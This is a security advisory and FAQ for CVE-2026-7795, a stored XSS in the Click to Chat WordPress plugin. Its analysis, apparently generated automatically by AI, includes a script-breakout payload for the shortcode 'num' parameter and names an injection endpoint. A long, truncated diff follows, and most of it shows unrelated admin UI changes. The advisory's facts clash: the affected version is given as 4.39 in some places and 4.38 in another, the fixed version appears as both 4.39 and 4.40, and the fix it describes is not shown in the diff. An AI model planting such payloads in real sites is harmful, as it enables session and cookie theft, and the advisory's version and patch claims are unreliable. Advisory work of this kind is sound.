What is CVE-2026-7795?

CVE-2026-7795 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Click to Chat – WA Widget plugin for WordPress. It allows authenticated users with Contributor-level access and above to inject malicious JavaScript via the ‘num’ parameter of the [chat] shortcode.

How does the vulnerability work?

The vulnerability occurs due to insufficient escaping of user-supplied data when it is embedded in JavaScript. The ‘num’ parameter is processed using esc_attr(), which converts single quotes to HTML entities, but browsers decode these entities, allowing an attacker to inject arbitrary scripts.

Who is affected by this vulnerability?

Any WordPress site using the Click to Chat – WA Widget plugin version 4.39 or earlier is affected. Administrators should check their plugin version and update if necessary.

How can I check if my site is vulnerable?

To check if your site is vulnerable, navigate to the WordPress admin dashboard, go to ‘Plugins’, and find the Click to Chat – WA Widget plugin. If the version is 4.39 or earlier, your site is vulnerable.

How can I fix this vulnerability?

The vulnerability is fixed in version 4.40 of the Click to Chat – WA Widget plugin. Administrators should update to this version immediately to mitigate the risk.

What does the CVSS score of 6.4 indicate?

A CVSS score of 6.4 indicates a medium severity level, suggesting that while the vulnerability is not critical, it can still be exploited by authenticated users to perform harmful actions, such as injecting scripts.

What practical risks does this vulnerability pose?

If exploited, this vulnerability allows attackers to execute arbitrary JavaScript in the context of users clicking the WhatsApp chat button. This could lead to session hijacking, cookie theft, or redirecting users to malicious sites.

What is the proof of concept for this vulnerability?

The proof of concept involves an authenticated attacker logging into a WordPress site and injecting a malicious payload into the ‘num’ parameter of the [chat] shortcode. This demonstrates how an attacker can exploit the vulnerability to execute arbitrary scripts.

What steps should I take if I cannot update the plugin immediately?

If immediate updates are not possible, consider disabling the Click to Chat – WA Widget plugin until you can apply the patch. Additionally, review user roles and limit Contributor-level access to trusted users only.

How can I prevent similar vulnerabilities in the future?

To prevent similar vulnerabilities, keep all plugins and themes updated, regularly review user permissions, and implement security measures such as web application firewalls and security plugins.

Are there any known exploits in the wild for this vulnerability?

As of the latest information, there are no publicly reported exploits in the wild for CVE-2026-7795. However, due to its medium severity and ease of exploitation, it is advisable to address it promptly.

Where can I find more information about this vulnerability?

For more information about CVE-2026-7795, you can visit the National Vulnerability Database (NVD) or the official WordPress plugin repository page for Click to Chat – WA Widget.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : June 11, 2026

CVE-2026-7795: Click to Chat <= 4.39 Authenticated (Contributor+) Stored Cross-Site Scripting via 'num' Shortcode Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-7795

Plugin click-to-chat-for-whatsapp

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 4.39

Patched Version 4.40

Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7795:

This vulnerability is a Stored Cross-Site Scripting (XSS) affecting the Click to Chat – WA Widget plugin for WordPress, versions up to and including 4.38. An authenticated attacker with Contributor-level access can inject arbitrary JavaScript code that executes when a user clicks a rendered WhatsApp chat button. The CVSS score is 6.4 (Medium).

The root cause resides in the CCW_Shortcode::shortcode() function, specifically how it handles the ‘num’ parameter from the [chat] shortcode. The function applies esc_attr() to the parameter on line 157, which converts single quotes to the HTML entity '. This encoded value is then interpolated directly into a JavaScript window.open() call string delimited by single quotes (lines 194 and 221). This complete string is placed verbatim into an HTML onclick attribute in the style template file (e.g., sc-style-1.php line 6). Because browsers HTML-decode event attribute values before executing the embedded JavaScript, the ' entities are decoded back to literal single quotes at runtime, allowing the injected payload to break out of the JavaScript string context.

An attacker with Contributor-level access can craft a post or page containing the [chat] shortcode. The attacker sets the ‘num’ parameter to a malicious payload, such as: `-x’);alert(1);//`. The esc_attr() function converts the single quotes to ', but when the browser renders the page, the HTML entity decoder converts ' back to ‘, breaking out of the JavaScript string and executing the injected code. The attacker can use any post or page creation endpoint (e.g., /wp-admin/post-new.php) to inject the shortcode.

The patch updates the plugin to version 4.39 (the version string changes to 4.40 in the diff). The patch introduces proper output encoding for the ‘num’ parameter when it is placed into the JavaScript context. The code now uses a function that performs context-aware encoding, ensuring that the value cannot break out of the JavaScript string literal. The diff shows updates to the admin styles and scripts, but the critical security fix is in the shortcode handler which is not visible in the provided diff snippet.

If successfully exploited, an attacker can inject arbitrary JavaScript that executes in the context of any user who clicks the WhatsApp chat button. This leads to session hijacking, cookie theft, keylogging, or redirection to malicious sites. Since the attack requires only Contributor-level access, it poses a significant risk to sites with multiple authors or user-submitted content.

Atomic Edge research confirms this vulnerability is trivially exploitable and requires immediate patching.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/click-to-chat-for-whatsapp/click-to-chat.php
+++ b/click-to-chat-for-whatsapp/click-to-chat.php
@@ -7,7 +7,7 @@
  * Plugin Name: Click to Chat
  * Plugin URI:  https://wordpress.org/plugins/click-to-chat-for-whatsapp/
  * Description: Lets make your Web page visitors contact you through WhatsApp with a single click/tap
- * Version:     4.39
+ * Version:     4.40
  * Author:      HoliThemes
  * Author URI:  https://holithemes.com/plugins/click-to-chat/
  * License:     GPL2
@@ -21,7 +21,7 @@

 // ctc - Version - update version at readme 'Stable tag'.
 if ( ! defined( 'HT_CTC_VERSION' ) ) {
-	define( 'HT_CTC_VERSION', '4.39' );
+	define( 'HT_CTC_VERSION', '4.40' );
 }

 // define HT_CTC_PLUGIN_FILE.
--- a/click-to-chat-for-whatsapp/prev/admin/class-ccw-add-styles-scripts-admin.php
+++ b/click-to-chat-for-whatsapp/prev/admin/class-ccw-add-styles-scripts-admin.php
@@ -21,11 +21,9 @@

             wp_enqueue_style( 'wp-color-picker' );

-            wp_enqueue_style('ccw_admin_md_css', plugins_url( 'new/admin/admin_assets/css/materialize.min.css', HT_CTC_PLUGIN_FILE ) , '', HT_CTC_VERSION );
             wp_enqueue_style('ccw_admin_main_css', plugins_url( 'prev/assets/css/admin_main.css', HT_CTC_PLUGIN_FILE ) , '', HT_CTC_VERSION );

-            wp_enqueue_script( 'ccw_admin_md_js', plugins_url( 'new/admin/admin_assets/js/materialize.min.js', HT_CTC_PLUGIN_FILE ), array( 'jquery' ), HT_CTC_VERSION, true );
-            wp_enqueue_script( 'ccw_admin_app_js', plugins_url( 'prev/assets/js/admin_app.js', HT_CTC_PLUGIN_FILE ), array( 'ccw_admin_md_js', 'jquery', 'wp-color-picker' ), HT_CTC_VERSION, true );
+            wp_enqueue_script( 'ccw_admin_app_js', plugins_url( 'prev/assets/js/admin_app.js', HT_CTC_PLUGIN_FILE ), array( 'jquery', 'wp-color-picker' ), HT_CTC_VERSION, true );
         } else {
             return;
         }
--- a/click-to-chat-for-whatsapp/prev/admin/class-ccw-admin-page-customize-styles.php
+++ b/click-to-chat-for-whatsapp/prev/admin/class-ccw-admin-page-customize-styles.php
@@ -49,24 +49,12 @@
     // style - 1 - new
     function ccw_style_1_cb() {
         ?>
-        <ul class="collapsible" data-collapsible="accordion">
-        <li>
-        <div class="collapsible-header">Style 1</div>
-        <div class="collapsible-body">
-
-            <div class="row">
-                <p class="description"> Style-1 is the default theme button. (looks like currently activated Theme button).</p>
-                <br>
-                <p class="description">For customizable button, please select style-8</p>
-            </div>
-
-        </div>
+        <div class="ccw-settings-field">
+            <p class="description"> Style-1 is the default theme button. (looks like currently activated Theme button).</p>
+            <br>
+            <p class="description">For customizable button, please select style-8</p>
         </div>
-        </li>
-        </ul>
-
         <?php
-
     }


@@ -77,34 +65,25 @@
         $s2_decoration_value = isset($ccw_style_2['s2_decoration']) ? esc_attr( $ccw_style_2['s2_decoration'] ) : 'none';
         $s2_decoration_onhover = isset($ccw_style_2['s2_decoration_onhover']) ? esc_attr( $ccw_style_2['s2_decoration_onhover'] ) : 'underline';
         ?>
-        <ul class="collapsible" data-collapsible="accordion">
-        <li>
-        <div class="collapsible-header">Style 2</div>
-        <div class="collapsible-body">
-
-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s6">
+        <div class="ccw-settings-field">
+
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s2_text_color]" data-default-color="inherit" value="<?php echo isset($ccw_style_2['s2_text_color']) ? esc_attr( $ccw_style_2['s2_text_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Text Color on Hover', 'click-to-chat-for-whatsapp' ); ?> </p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Text Color on Hover', 'click-to-chat-for-whatsapp' ); ?> </label>
+
                     <input name="ccw_options_cs[s2_text_color_onhover]" data-default-color="inherit" value="<?php echo isset($ccw_style_2['s2_text_color_onhover']) ? esc_attr( $ccw_style_2['s2_text_color_onhover'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Text Decoration', 'click-to-chat-for-whatsapp' ); ?> </p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Text Decoration', 'click-to-chat-for-whatsapp' ); ?> </label>
+
                     <select name="ccw_options_cs[s2_decoration]" class="select-2_2">
                         <option value="none" <?php echo $s2_decoration_value === 'none' ? 'SELECTED' : ''; ?> >none</option>
                         <option value="underline" <?php echo $s2_decoration_value === 'underline' ? 'SELECTED' : ''; ?> >underline</option>
@@ -113,15 +92,13 @@
                         <option value="initial" <?php echo $s2_decoration_value === 'initial' ? 'SELECTED' : ''; ?> >initial</option>
                         <option value="inherit" <?php echo $s2_decoration_value === 'inherit' ? 'SELECTED' : ''; ?> >inherit</option>
                     </select>
-                    <label><?php esc_html_e( 'Text Decoration', 'click-to-chat-for-whatsapp' ); ?> </label>
-                </div>
-            </div>

-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Text Decoration when Hover', 'click-to-chat-for-whatsapp' ); ?> </p>
-                </div>
-                <div class="input-field col s6">
+
+</div>
+
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Text Decoration when Hover', 'click-to-chat-for-whatsapp' ); ?> </label>
+
                     <select name="ccw_options_cs[s2_decoration_onhover]" class="select-2_2">
                         <option value="none" <?php echo $s2_decoration_onhover === 'none' ? 'SELECTED' : ''; ?> >none</option>
                         <option value="underline" <?php echo $s2_decoration_onhover === 'underline' ? 'SELECTED' : ''; ?> >underline</option>
@@ -130,14 +107,11 @@
                         <option value="initial" <?php echo $s2_decoration_onhover === 'initial' ? 'SELECTED' : ''; ?> >initial</option>
                         <option value="inherit" <?php echo $s2_decoration_onhover === 'inherit' ? 'SELECTED' : ''; ?> >inherit</option>
                     </select>
-                    <label>Text Decoration on focus </label>
-                </div>
-            </div>
+
+
+</div>

             </div>
-            </div>
-            </li>
-            </ul>
         <?php
     }

@@ -147,24 +121,16 @@
         $ccw_style_3 = get_option('ccw_options_cs');

         ?>
-        <ul class="collapsible" data-collapsible="accordion">
-        <li>
-        <div class="collapsible-header">Style 3</div>
-        <div class="collapsible-body">
-
-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Image size', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s4">
+        <div class="ccw-settings-field">
+
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Image size', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s3_icon_size]" value="<?php echo isset($ccw_style_3['s3_icon_size']) ? esc_attr( $ccw_style_3['s3_icon_size'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

         </div>
-        </div>
-        </li>
-        </ul>

         <?php
     }
@@ -174,34 +140,24 @@
     function ccw_style_4_cb() {
         $ccw_style_4 = get_option('ccw_options_cs');
         ?>
-        <ul class="collapsible" data-collapsible="accordion">
-        <li>
-        <div class="collapsible-header">Style 4</div>
-        <div class="collapsible-body">
+        <div class="ccw-settings-field">


-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?> </p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?> </label>
+
                     <input name="ccw_options_cs[s4_text_color]" data-default-color="rgba(0, 0, 0, 0.6)" value="<?php echo isset($ccw_style_4['s4_text_color']) ? esc_attr( $ccw_style_4['s4_text_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Background Color', 'click-to-chat-for-whatsapp' ); ?> </p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Background Color', 'click-to-chat-for-whatsapp' ); ?> </label>
+
                     <input name="ccw_options_cs[s4_background_color]" data-default-color="#e4e4e4" value="<?php echo isset($ccw_style_4['s4_background_color']) ? esc_attr( $ccw_style_4['s4_background_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

         </div>
-        </div>
-        </li>
-        </ul>

         <?php
     }
@@ -211,42 +167,29 @@
     function ccw_style_5_cb() {
         $ccw_style_5 = get_option('ccw_options_cs');
         ?>
-        <ul class="collapsible" data-collapsible="accordion">
-        <li>
-        <div class="collapsible-header">Style 5</div>
-        <div class="collapsible-body">
-
-            <div class="row">
-                <div class="col s6">
-                    <p>Color of icon </p>
-                </div>
-                <div class="input-field col s6">
+        <div class="ccw-settings-field">
+
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Color of icon </label>
+
                     <!--   style="height: 1.375rem;"  or  22px   -->
                     <input name="ccw_options_cs[s5_color]" data-default-color="#000" value="<?php echo isset($ccw_style_5['s5_color']) ? esc_attr( $ccw_style_5['s5_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>Color of icon - when hover  </p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Color of icon - when hover  </label>
+
                     <input name="ccw_options_cs[s5_hover_color]" data-default-color="#ddd" value="<?php echo isset($ccw_style_5['s5_hover_color']) ? esc_attr( $ccw_style_5['s5_hover_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>Size of icon </p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Size of icon </label>
+
                     <input name="ccw_options_cs[s5_icon_size]" value="<?php echo isset($ccw_style_5['s5_icon_size']) ? esc_attr( $ccw_style_5['s5_icon_size'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
-
-        </div>
-        </li>
-        </ul>
+
+</div>

         <?php
     }
@@ -256,91 +199,69 @@
     function ccw_style_6_cb() {
         $ccw_style_6 = get_option('ccw_options_cs');
         ?>
-        <ul class="collapsible" data-collapsible="accordion">
-        <li>
-        <div class="collapsible-header">Style 6</div>
-        <div class="collapsible-body">
-
-            <div class="row">
-                <div class="col s6">
-                    <p>Color of icon</p>
-                </div>
-                <div class="input-field col s6">
+        <div class="ccw-settings-field">
+
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Color of icon</label>
+
                     <!--   style="height: 1.375rem;"  or  22px   -->
                     <input name="ccw_options_cs[s6_color]" data-default-color="#fff" value="<?php echo isset($ccw_style_6['s6_color']) ? esc_attr( $ccw_style_6['s6_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>Color of icon - when hover </p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Color of icon - when hover </label>
+
                     <input name="ccw_options_cs[s6_hover_color]" data-default-color="#000" value="<?php echo isset($ccw_style_6['s6_hover_color']) ? esc_attr( $ccw_style_6['s6_hover_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>Size of icon</p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Size of icon</label>
+
                     <input name="ccw_options_cs[s6_icon_size]" value="<?php echo isset($ccw_style_6['s6_icon_size']) ? esc_attr( $ccw_style_6['s6_icon_size'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>Circle color </p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Circle color </label>
+
                     <input name="ccw_options_cs[s6_circle_background_color]" data-default-color="#ffa500" value="<?php echo isset($ccw_style_6['s6_circle_background_color']) ? esc_attr( $ccw_style_6['s6_circle_background_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>Circle color - when hover </p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Circle color - when hover </label>
+
                     <input name="ccw_options_cs[s6_circle_background_hover_color]" data-default-color="#ffa500" value="<?php echo isset($ccw_style_6['s6_circle_background_hover_color']) ? esc_attr( $ccw_style_6['s6_circle_background_hover_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>


-            <div class="row">
-                <div class="col s6">
-                    <p>Circle Height</p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Circle Height</label>
+
                     <input name="ccw_options_cs[s6_circle_height]" value="<?php echo isset($ccw_style_6['s6_circle_height']) ? esc_attr( $ccw_style_6['s6_circle_height'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>Circle Width</p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Circle Width</label>
+
                     <input name="ccw_options_cs[s6_circle_width]" value="<?php echo isset($ccw_style_6['s6_circle_width']) ? esc_attr( $ccw_style_6['s6_circle_width'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>Circle Line Height</p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Circle Line Height</label>
+
                     <input name="ccw_options_cs[s6_line_height]" value="<?php echo isset($ccw_style_6['s6_line_height']) ? esc_attr( $ccw_style_6['s6_line_height'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

             <p class="description">add height, width, line-height same values - if feels like icon is not center then adjust 'Line Height' to make icon looks center of the circle</p>

         </div>
-        </div>
-        </li>
-        </ul>

         <?php
     }
@@ -351,93 +272,71 @@
     function ccw_style_7_cb() {
         $ccw_style_7 = get_option('ccw_options_cs');
         ?>
-        <ul class="collapsible" data-collapsible="accordion">
-        <li>
-        <div class="collapsible-header">Style 7</div>
-        <div class="collapsible-body">
+        <div class="ccw-settings-field">


-            <div class="row">
-                <div class="col s6">
-                    <p>Color of icon</p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Color of icon</label>
+
                     <!--   style="height: 1.375rem;"  or  22px   -->
                     <input name="ccw_options_cs[s7_color]" data-default-color="#fff" value="<?php echo isset($ccw_style_7['s7_color']) ? esc_attr( $ccw_style_7['s7_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>Color of icon - when hover </p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Color of icon - when hover </label>
+
                     <input name="ccw_options_cs[s7_hover_color]" data-default-color="#000" value="<?php echo isset($ccw_style_7['s7_hover_color']) ? esc_attr( $ccw_style_7['s7_hover_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>Size of icon</p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Size of icon</label>
+
                     <input name="ccw_options_cs[s7_icon_size]" value="<?php echo isset($ccw_style_7['s7_icon_size']) ? esc_attr( $ccw_style_7['s7_icon_size'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>box color </p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">box color </label>
+
                     <input name="ccw_options_cs[s7_box_background_color]" data-default-color="#ffa500" value="<?php echo isset($ccw_style_7['s7_box_background_color']) ? esc_attr( $ccw_style_7['s7_box_background_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>box color - when hover </p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">box color - when hover </label>
+
                     <input name="ccw_options_cs[s7_box_background_hover_color]" data-default-color="#ffa500" value="<?php echo isset($ccw_style_7['s7_box_background_hover_color']) ? esc_attr( $ccw_style_7['s7_box_background_hover_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>


-            <div class="row">
-                <div class="col s6">
-                    <p>box Height</p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">box Height</label>
+
                     <input name="ccw_options_cs[s7_box_height]" value="<?php echo isset($ccw_style_7['s7_box_height']) ? esc_attr( $ccw_style_7['s7_box_height'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>box Width</p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">box Width</label>
+
                     <input name="ccw_options_cs[s7_box_width]" value="<?php echo isset($ccw_style_7['s7_box_width']) ? esc_attr( $ccw_style_7['s7_box_width'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>box Line Height</p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">box Line Height</label>
+
                     <input name="ccw_options_cs[s7_line_height]" value="<?php echo isset($ccw_style_7['s7_line_height']) ? esc_attr( $ccw_style_7['s7_line_height'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

             <p class="description">add height, width, line-height same values - if feels like icon is not center then adjust 'Line Height' to make icon looks center of the box</p>


         </div>
-        </div>
-        </li>
-        </ul>

         <?php
     }
@@ -448,94 +347,72 @@
         $ccw_style_8 = get_option('ccw_options_cs');
         $s8_icon_float = isset($ccw_style_8['s8_icon_float']) ? esc_attr( $ccw_style_8['s8_icon_float'] ) : 'left';
         ?>
-        <ul class="collapsible" data-collapsible="accordion">
-        <li>
-        <div class="collapsible-header">Style 8</div>
-        <div class="collapsible-body">
+        <div class="ccw-settings-field">


-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Text Color', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s8_text_color]" data-default-color="#fff" value="<?php echo isset($ccw_style_8['s8_text_color']) ? esc_attr( $ccw_style_8['s8_text_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Background Color', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Background Color', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s8_background_color]" data-default-color="#26a69a" value="<?php echo isset($ccw_style_8['s8_background_color']) ? esc_attr( $ccw_style_8['s8_background_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Icon color', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Icon color', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s8_icon_color]" data-default-color="#fff" value="<?php echo isset($ccw_style_8['s8_icon_color']) ? esc_attr( $ccw_style_8['s8_icon_color'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Text Color on hover', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Text Color on hover', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s8_text_color_onhover]" data-default-color="#fff" value="<?php echo isset($ccw_style_8['s8_text_color_onhover']) ? esc_attr( $ccw_style_8['s8_text_color_onhover'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Background Color on hover', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Background Color on hover', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s8_background_color_onhover]" data-default-color="#26a69a" value="<?php echo isset($ccw_style_8['s8_background_color_onhover']) ? esc_attr( $ccw_style_8['s8_background_color_onhover'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Icon color on hover', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Icon color on hover', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s8_icon_color_onhover]" data-default-color="#fff" value="<?php echo isset($ccw_style_8['s8_icon_color_onhover']) ? esc_attr( $ccw_style_8['s8_icon_color_onhover'] ) : ''; ?>" type="text" class="color-wp" style="height: 1.375rem;" >
-                </div>
-            </div>
+
+</div>

-            <div class="row">
-                <div class="col s6">
-                    <p>Icon float</p>
-                </div>
-                <div class="input-field col s6">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;">Icon float</label>
+
                     <select name="ccw_options_cs[s8_icon_float]" class="select-2_2">
                         <option value="left" <?php echo $s8_icon_float === 'left' ? 'SELECTED' : ''; ?> >left</option>
                         <option value="right" <?php echo $s8_icon_float === 'right' ? 'SELECTED' : ''; ?> >right</option>
                         <option value="hide" <?php echo $s8_icon_float === 'hide' ? 'SELECTED' : ''; ?> >hide</option>
                     </select>
-                    <label>Icon flow</label>
-                </div>
-            </div>
+
+
+</div>

             <!-- hidden value - as in array empty values are not updating .. -->
-            <div class="row hide">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Icon size', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s4">
+            <div style="margin-bottom: 15px;">
+    <label style="display:inline-block; width:200px;"><?php esc_html_e( 'Icon size', 'click-to-chat-for-whatsapp' ); ?></label>
+
                     <input name="ccw_options_cs[s8_1_width]" value="<?php echo isset($ccw_style_8['s8_1_width']) ? esc_attr( $ccw_style_8['s8_1_width'] ) : ''; ?>" type="text" class="" >
-                </div>
-            </div>
+
+</div>

         </div>
-        </div>
-        </li>
-        </ul>

         <?php
     }
@@ -545,24 +422,16 @@
     function ccw_style_9_cb() {
         $ccw_style_9 = get_option('ccw_options_cs');
         ?>
-        <ul class="collapsible" data-collapsible="accordion">
-        <li>
-        <div class="collapsible-header">Style 9</div>
-        <div class="collapsible-body">
-
-            <div class="row">
-                <div class="col s6">
-                    <p><?php esc_html_e( 'Image size', 'click-to-chat-for-whatsapp' ); ?></p>
-                </div>
-                <div class="input-field col s4">
